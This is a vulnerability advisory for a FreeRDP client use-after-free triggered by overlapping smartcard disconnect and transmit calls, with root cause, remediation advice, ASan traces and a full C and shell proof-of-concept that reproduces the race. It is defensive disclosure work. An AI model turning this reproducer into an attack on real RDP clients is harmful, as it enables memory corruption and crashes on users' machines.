All vulnerabilities
GHSA-8rpr-jjjg-5qv6

FreeRDP: Concurrent smartcard disconnect and transmit can use a freed client heap object

FreeRDP
CVSS
n/aHigh
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published29 Sep 2026Updated 29 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

A malicious or compromised RDP server can trigger a heap use-after-free in a FreeRDP client when Alice connects with smartcard emulation enabled. The server establishes multiple smartcard contexts, then overlaps SCARD_IOCTL_DISCONNECT and SCARD_IOCTL_TRANSMIT for one card handle through independent context workers.

Emulate_SCardDisconnect removes and destroys the shared SCardHandle while Emulate_SCardTransmit still holds its pointer. ASan captured both an eight-byte read from the freed handle and, in a fresh current-master run, a two-byte write through its freed vgidsContext.

The demonstrated impacts are client-process heap corruption and termination. No reliable code execution or targeted information disclosure is claimed.

Required configuration and attacker position

  • FreeRDP is built with smartcard emulation.
  • Alice enables smartcard emulation, for example through smartcard-logon configuration with certificate, private-key, and PIN material.
  • Alice connects to a malicious or compromised RDP server.
  • The server establishes multiple smartcard contexts and controls the order and timing of smartcard IRPs.

Smartcard emulation is opt-in and its deployment prevalence was not measured.

Root cause

libfreerdp/emu/scard/smartcard_emulate.c creates the shared handle table without synchronization:

smartcard->handles = HashTable_New(FALSE);
/* ... */
obj->fnObjectFree = scard_handle_free;

Disconnect obtains the shared handle and removes it when its reference count reaches zero:

SCardHandle* hdl = HashTable_GetItemValue(smartcard->handles, (const void*)hCard);
hdl->referencecount--;
if (hdl->referencecount == 0)
    HashTable_Remove(smartcard->handles, (const void*)hCard);

Transmit independently looks up the same pointer and uses both the handle and its virtual-card state without holding a lock or strong lifetime reference:

SCardHandle* hdl = HashTable_GetItemValue(smartcard->handles, (const void*)hCard);
hdl->transmitcount++;
if (!vgids_process_apdu(hdl->vgids, pbSendBuffer, cbSendLength, &response, &responseSize))
    status = SCARD_E_NO_SMARTCARD;

The handle-table destructor frees hdl->vgids and the handle allocation. Locking individual hash-table operations would not be enough: the object must stay referenced across the entire caller use.

Remote reachability

channels/smartcard/client/smartcard_main.c creates one worker thread and queue per smartcard context. It dispatches asynchronous operations to the queue selected by the request's hContext. The protocol operation decodes hCard independently, so separate context workers can operate on the same handle concurrently.

This differs from the stale-context condition in which releasing a context leaves a handle behind and a later transmit resolves a null context. This report concerns destruction of an actively used SCardHandle. It also has a different root from the previously reported virtual-card PIN retry reset and transmit-error uninitialized-memory disclosure findings.

Affected-version history

The smartcard emulation layer and this lifetime design were introduced by change 8c543b1de. Stable 3.0.0 contains HashTable_New(FALSE), the disconnect removal, and the unprotected transmit use. FreeRDP 3.31.1 and current master retain the same decisive sequence. No public fix or exact public advisory was identified.

Reproduction

Use an ASan-instrumented FreeRDP build in a disposable environment. Generate a disposable certificate and key, then run the sequential control:

openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
  -subj /CN=smartcard-race-test -keyout poc/key.pem -out poc/cert.pem
cd poc
./run.sh control SOURCE_DIR BUILD_DIR LIB_DIR cert.pem key.pem

Observed control:

control: transmit=0x00000000 disconnect=0x00000000 release=0x00000000

Run the race:

./run.sh race SOURCE_DIR BUILD_DIR LIB_DIR cert.pem key.pem

The script retries up to ten times and succeeds only after detecting an ASan heap-use-after-free. One run captured:

ERROR: AddressSanitizer: heap-use-after-free
READ of size 8
#0 Emulate_SCardTransmit ... smartcard_emulate.c:2021
freed by:
#1 scard_handle_free ... smartcard_emulate.c:259
#4 HashTable_Remove ... HashTable.c:430
#5 Emulate_SCardDisconnect ... smartcard_emulate.c:1753

A fresh current-master run of the same race reached the later attacker-influenced APDU path:

ERROR: AddressSanitizer: heap-use-after-free
WRITE of size 2
#0 vgids_ins_select ... smartcard_virtual_gids.c:746
#2 Emulate_SCardTransmit ... smartcard_emulate.c:2016
freed by:
#6 Emulate_SCardDisconnect ... smartcard_emulate.c:1753

Impact

The narrow demonstrated primitive is a timing-dependent read and write through freed heap objects in the FreeRDP client process. This establishes memory corruption and client availability impact. Exploitation beyond a crash depends on allocator reuse, scheduling, and obtaining a useful replacement object. No address disclosure, controlled replacement allocation, control-flow hijack, or code execution was demonstrated.

Remediation

Give every handle lookup a strong lifetime reference acquired while holding the handle-table lock, and release it after the operation's final access. Disconnect should prevent new acquisitions and defer destruction until all in-flight references are released. A single lock around every lookup-to-last-use sequence is an alternative, provided blocking calls and cancellation paths are designed to avoid deadlocks.

Changing the hash table to its internally synchronized mode alone is not sufficient if callers continue using returned pointers after the collection releases its lock.

Add concurrent disconnect/transmit regression coverage using separate smartcard contexts, plus the serialized control.

Portable proof-of-concept files

poc/smartcard_uaf_race.c

#define _GNU_SOURCE

#include <pthread.h>
#include <stdatomic.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#include <freerdp/emulate/scard/smartcard_emulate.h>
#include <freerdp/settings.h>
#include <winpr/smartcard.h>

#define HANDLE_COUNT 64
#define USE_THREADS 4

static SmartcardEmulationContext* g_scard;
static rdpSettings* g_settings;
static SCARDHANDLE g_handles[HANDLE_COUNT];
static size_t g_handle_count;
static atomic_bool g_stop;

static char* read_text_file(const char* path)
{
	FILE* fp = fopen(path, "rb");
	if (!fp)
		return NULL;
	fseek(fp, 0, SEEK_END);
	const long length = ftell(fp);
	fseek(fp, 0, SEEK_SET);
	char* data = malloc((size_t)length + 1);
	if (!data)
	{
		fclose(fp);
		return NULL;
	}
	if (fread(data, 1, (size_t)length, fp) != (size_t)length)
	{
		free(data);
		fclose(fp);
		return NULL;
	}
	data[length] = 0;
	fclose(fp);
	return data;
}

static SmartcardEmulationContext* configure_emulator(const char* cert_path, const char* key_path)
{
	char* cert = read_text_file(cert_path);
	char* key = read_text_file(key_path);
	if (!cert || !key)
	{
		free(cert);
		free(key);
		return NULL;
	}

	g_settings = freerdp_settings_new(0);
	if (!g_settings)
		return NULL;
	(void)freerdp_settings_set_string(g_settings, FreeRDP_SmartcardCertificate, cert);
	(void)freerdp_settings_set_string(g_settings, FreeRDP_SmartcardPrivateKey, key);
	(void)freerdp_settings_set_string(g_settings, FreeRDP_Password, "1234");

	SmartcardEmulationContext* scard = Emulate_New(g_settings);
	if (!scard)
		return NULL;
	if (!Emulate_IsConfigured(scard))
	{
		fputs("certificate, key, or PIN was rejected by smartcard emulation\n", stderr);
		return NULL;
	}
	return scard;
}

static int create_handle(SCARDCONTEXT context, SCARDHANDLE* handle)
{
	DWORD protocol = 0;
	return Emulate_SCardConnectA(g_scard, context, "reader", SCARD_SHARE_SHARED,
	                             SCARD_PROTOCOL_T1, handle, &protocol) == SCARD_S_SUCCESS;
}

static LONG transmit(SCARDHANDLE handle)
{
	BYTE request[8] = { 0x00, 0xA4, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00 };
	BYTE response[512] = { 0 };
	DWORD response_length = sizeof(response);
	SCARD_IO_REQUEST io = { 0, 0 };
	return Emulate_SCardTransmit(g_scard, handle, &io, request, sizeof(request), NULL, response,
	                             &response_length);
}

static int run_control(void)
{
	SCARDCONTEXT context = 0;
	SCARDHANDLE handle = 0;
	if (Emulate_SCardEstablishContext(g_scard, SCARD_SCOPE_USER, NULL, NULL, &context) !=
	    SCARD_S_SUCCESS)
		return 2;
	if (!create_handle(context, &handle))
		return 2;

	const LONG transmit_status = transmit(handle);
	const LONG disconnect_status =
	    Emulate_SCardDisconnect(g_scard, handle, SCARD_LEAVE_CARD);
	const LONG release_status = Emulate_SCardReleaseContext(g_scard, context);
	printf("control: transmit=0x%08x disconnect=0x%08x release=0x%08x\n",
	       (unsigned)transmit_status, (unsigned)disconnect_status, (unsigned)release_status);
	return (disconnect_status == SCARD_S_SUCCESS && release_status == SCARD_S_SUCCESS) ? 0 : 3;
}

static void* transmit_worker(void* unused)
{
	(void)unused;
	while (!atomic_load_explicit(&g_stop, memory_order_relaxed))
	{
		for (size_t index = 0; index < g_handle_count; index++)
			(void)transmit(g_handles[index]);
	}
	return NULL;
}

static int run_race(void)
{
	SCARDCONTEXT first_context = 0;
	SCARDCONTEXT second_context = 0;
	if (Emulate_SCardEstablishContext(g_scard, SCARD_SCOPE_USER, NULL, NULL, &first_context) !=
	        SCARD_S_SUCCESS ||
	    Emulate_SCardEstablishContext(g_scard, SCARD_SCOPE_USER, NULL, NULL, &second_context) !=
	        SCARD_S_SUCCESS)
		return 2;

	for (size_t index = 0; index < HANDLE_COUNT; index++)
	{
		if (create_handle(first_context, &g_handles[g_handle_count]))
			g_handle_count++;
	}
	if (g_handle_count == 0)
		return 2;

	printf("race: %zu handles, one disconnect path and %d transmit paths\n", g_handle_count,
	       USE_THREADS);
	fflush(stdout);

	pthread_t threads[USE_THREADS];
	atomic_store(&g_stop, false);
	for (size_t index = 0; index < USE_THREADS; index++)
	{
		if (pthread_create(&threads[index], NULL, transmit_worker, NULL) != 0)
			return 2;
	}

	struct timespec start_delay = { 0, 1000000 };
	(void)nanosleep(&start_delay, NULL);
	for (size_t index = 0; index < g_handle_count; index++)
	{
		(void)Emulate_SCardDisconnect(g_scard, g_handles[index], SCARD_LEAVE_CARD);
		struct timespec delay = { 0, (long)(10000 + ((index * 7919) % 90000)) };
		(void)nanosleep(&delay, NULL);
	}

	atomic_store(&g_stop, true);
	for (size_t index = 0; index < USE_THREADS; index++)
		(void)pthread_join(threads[index], NULL);
	puts("race completed without a sanitizer finding; retry because the interleaving is timing-dependent");
	return 1;
}

int main(int argc, char** argv)
{
	if (argc != 4 || (strcmp(argv[1], "control") != 0 && strcmp(argv[1], "race") != 0))
	{
		fprintf(stderr, "usage: %s control|race CERT_PEM KEY_PEM\n", argv[0]);
		return 2;
	}

	g_scard = configure_emulator(argv[2], argv[3]);
	if (!g_scard)
	{
		fputs("failed to configure smartcard emulation\n", stderr);
		return 2;
	}

	const int status = strcmp(argv[1], "control") == 0 ? run_control() : run_race();
	Emulate_Free(g_scard);
	freerdp_settings_free(g_settings);
	return status;
}

poc/run.sh

#!/bin/sh
set -eu

if [ "$#" -ne 6 ]; then
	echo "usage: $0 control|race SOURCE_DIR BUILD_DIR LIB_DIR CERT_PEM KEY_PEM" >&2
	exit 2
fi

MODE=$1
SOURCE_DIR=$2
BUILD_DIR=$3
LIB_DIR=$4
CERT_PEM=$5
KEY_PEM=$6
HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)

case "$MODE" in
	control|race) ;;
	*) echo "mode must be control or race" >&2; exit 2 ;;
esac

for path in "$SOURCE_DIR" "$BUILD_DIR" "$LIB_DIR"; do
	[ -d "$path" ] || { echo "not a directory: $path" >&2; exit 2; }
done
for path in "$CERT_PEM" "$KEY_PEM"; do
	[ -f "$path" ] || { echo "not a file: $path" >&2; exit 2; }
done

WINPR_LIB_DIR=$LIB_DIR
if [ -f "$BUILD_DIR/winpr/libwinpr/libwinpr3.so" ]; then
	WINPR_LIB_DIR=$BUILD_DIR/winpr/libwinpr
fi

if ! nm -D "$LIB_DIR/libfreerdp3.so.3" 2>/dev/null | grep -q '__asan_'; then
	echo "refusing to run: LIB_DIR must contain an ASan-instrumented FreeRDP build" >&2
	exit 2
fi

CC=${CC:-cc}
if pkg-config --exists openssl 2>/dev/null; then
	OPENSSL_CFLAGS=$(pkg-config --cflags openssl)
	OPENSSL_LIBS=$(pkg-config --libs openssl)
else
	OPENSSL_CFLAGS=${OPENSSL_CFLAGS:-}
	OPENSSL_LIBS=${OPENSSL_LIBS:--lssl -lcrypto}
fi
"$CC" -std=gnu11 -DNDEBUG -g -O1 -fno-omit-frame-pointer -fsanitize=address,undefined \
	-Wall -Wextra -Wno-error $OPENSSL_CFLAGS \
	-I"$SOURCE_DIR/include" -I"$SOURCE_DIR/winpr/include" \
	-I"$BUILD_DIR/include" -I"$BUILD_DIR/winpr/include" \
	-o "$HERE/smartcard_uaf_race" "$HERE/smartcard_uaf_race.c" \
	-fsanitize=address,undefined -L"$LIB_DIR" -L"$WINPR_LIB_DIR" \
	-Wl,-rpath,"$LIB_DIR" -Wl,-rpath,"$WINPR_LIB_DIR" \
	-lfreerdp3 -lwinpr3 $OPENSSL_LIBS -lz -lpthread

export LD_LIBRARY_PATH="$LIB_DIR:$WINPR_LIB_DIR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}"

if [ "$MODE" = control ]; then
	ASAN_OPTIONS=detect_leaks=0 "$HERE/smartcard_uaf_race" control "$CERT_PEM" "$KEY_PEM"
	exit $?
fi

attempt=1
while [ "$attempt" -le 10 ]; do
	echo "race attempt $attempt/10"
	set +e
	ASAN_OPTIONS=detect_leaks=0:halt_on_error=1 timeout 15 \
		"$HERE/smartcard_uaf_race" race "$CERT_PEM" "$KEY_PEM" \
		>"$HERE/race.stdout" 2>"$HERE/race.stderr"
	status=$?
	set -e
	cat "$HERE/race.stdout"
	cat "$HERE/race.stderr" >&2
	if grep -q 'AddressSanitizer: heap-use-after-free' "$HERE/race.stderr"; then
		echo "ASan use-after-free captured (exit $status)"
		exit 0
	fi
	attempt=$((attempt + 1))
done

echo "no ASan use-after-free captured in 10 attempts; the race is timing-dependent" >&2
exit 1

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, c>= 3.0.0, <= 3.31.1GitHub